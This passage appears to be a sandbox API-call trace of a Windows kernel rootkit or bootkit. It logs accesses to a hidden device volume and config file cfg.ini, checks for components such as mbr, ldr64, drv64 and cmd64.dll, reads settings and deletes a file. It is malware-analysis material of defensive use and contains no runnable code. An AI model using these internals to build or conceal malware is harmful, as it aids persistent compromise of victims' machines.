_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.834] KeEnterCriticalRegion () [0129.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.834] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cba000 [0129.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.835] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.835] IdePortDispatch () returned 0x103 [0129.835] KeWaitForMutexObject () returned 0x0 [0129.835] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.835] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.835] IdePortDispatch () returned 0x103 [0129.835] KeWaitForMutexObject () returned 0x0 [0129.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.835] KeLeaveCriticalRegion () [0129.835] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.836] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.836] KeEnterCriticalRegion () [0129.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.836] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.836] KeLeaveCriticalRegion () [0129.836] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.836] KeEnterCriticalRegion () [0129.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.836] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.836] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.836] KeLeaveCriticalRegion () [0129.836] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.836] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.836] KeEnterCriticalRegion () [0129.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.836] ExFreePoolWithTag (P=0xfffffa8003c05f60, Tag=0x0) [0129.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.836] KeLeaveCriticalRegion () [0129.836] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.836] ReleaseMutex (hMutex=0xf0) returned 1 [0129.836] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.836] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.836] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.836] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.836] KeEnterCriticalRegion () [0129.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.837] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.837] IdePortDispatch () returned 0x103 [0129.837] KeWaitForMutexObject () returned 0x0 [0129.838] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.838] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.838] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.838] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.838] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.838] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.838] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.838] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.838] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.838] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.838] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.838] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.838] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.838] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.838] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.838] KeLeaveCriticalRegion () [0129.839] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.839] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.839] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.839] KeEnterCriticalRegion () [0129.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.839] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.839] IdePortDispatch () returned 0x103 [0129.839] KeWaitForMutexObject () returned 0x0 [0129.839] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.839] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.839] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.839] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.839] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.839] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.839] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.839] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.839] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.839] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.839] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.839] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.839] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.839] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.839] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.839] KeLeaveCriticalRegion () [0129.839] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.839] ReleaseMutex (hMutex=0x100) returned 1 [0129.839] Sleep (dwMilliseconds=0x2bf20) [0129.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7095ebf0, dwHighDateTime=0x1d24fa4)) [0129.846] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.846] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.846] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.846] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.846] KeEnterCriticalRegion () [0129.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.846] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.846] IdePortDispatch () returned 0x103 [0129.846] KeWaitForMutexObject () returned 0x0 [0129.846] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.846] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.846] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.846] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.846] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.846] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c074c0 [0129.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.846] KeLeaveCriticalRegion () [0129.846] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.846] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.846] KeEnterCriticalRegion () [0129.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.846] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.847] KeLeaveCriticalRegion () [0129.847] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.847] KeEnterCriticalRegion () [0129.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.847] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.847] IdePortDispatch () returned 0x103 [0129.847] KeWaitForMutexObject () returned 0x0 [0129.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.847] KeLeaveCriticalRegion () [0129.847] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.847] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.847] KeEnterCriticalRegion () [0129.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdd000 [0129.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.847] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.847] IdePortDispatch () returned 0x103 [0129.847] KeWaitForMutexObject () returned 0x0 [0129.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.848] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.848] IdePortDispatch () returned 0x103 [0129.848] KeWaitForMutexObject () returned 0x0 [0129.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.848] KeLeaveCriticalRegion () [0129.848] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.848] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.848] KeEnterCriticalRegion () [0129.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.848] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.848] KeLeaveCriticalRegion () [0129.848] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.848] KeEnterCriticalRegion () [0129.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.848] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.848] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.848] KeLeaveCriticalRegion () [0129.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.849] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.849] KeEnterCriticalRegion () [0129.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.849] ExFreePoolWithTag (P=0xfffffa8003c074c0, Tag=0x0) [0129.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.849] KeLeaveCriticalRegion () [0129.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.849] ReleaseMutex (hMutex=0xf0) returned 1 [0129.849] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.849] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.849] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.849] KeEnterCriticalRegion () [0129.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.849] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.849] IdePortDispatch () returned 0x103 [0129.849] KeWaitForMutexObject () returned 0x0 [0129.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.849] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.849] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.849] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.849] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.849] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c076c0 [0129.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.849] KeLeaveCriticalRegion () [0129.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.849] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.849] KeEnterCriticalRegion () [0129.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.849] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.850] KeLeaveCriticalRegion () [0129.850] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.850] KeEnterCriticalRegion () [0129.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.850] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.850] IdePortDispatch () returned 0x103 [0129.851] KeWaitForMutexObject () returned 0x0 [0129.851] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.851] KeLeaveCriticalRegion () [0129.851] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.851] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.851] KeEnterCriticalRegion () [0129.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.851] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cde000 [0129.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.851] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.851] IdePortDispatch () returned 0x103 [0129.851] KeWaitForMutexObject () returned 0x0 [0129.852] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.852] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.852] IdePortDispatch () returned 0x103 [0129.852] KeWaitForMutexObject () returned 0x0 [0129.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.852] KeLeaveCriticalRegion () [0129.852] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.852] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.852] KeEnterCriticalRegion () [0129.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.852] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.852] KeLeaveCriticalRegion () [0129.852] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.852] KeEnterCriticalRegion () [0129.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.853] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.853] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.853] KeLeaveCriticalRegion () [0129.853] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.853] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.853] KeEnterCriticalRegion () [0129.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.853] ExFreePoolWithTag (P=0xfffffa8003c076c0, Tag=0x0) [0129.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.853] KeLeaveCriticalRegion () [0129.853] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.853] ReleaseMutex (hMutex=0xf0) returned 1 [0129.853] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.853] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.853] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.853] KeEnterCriticalRegion () [0129.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 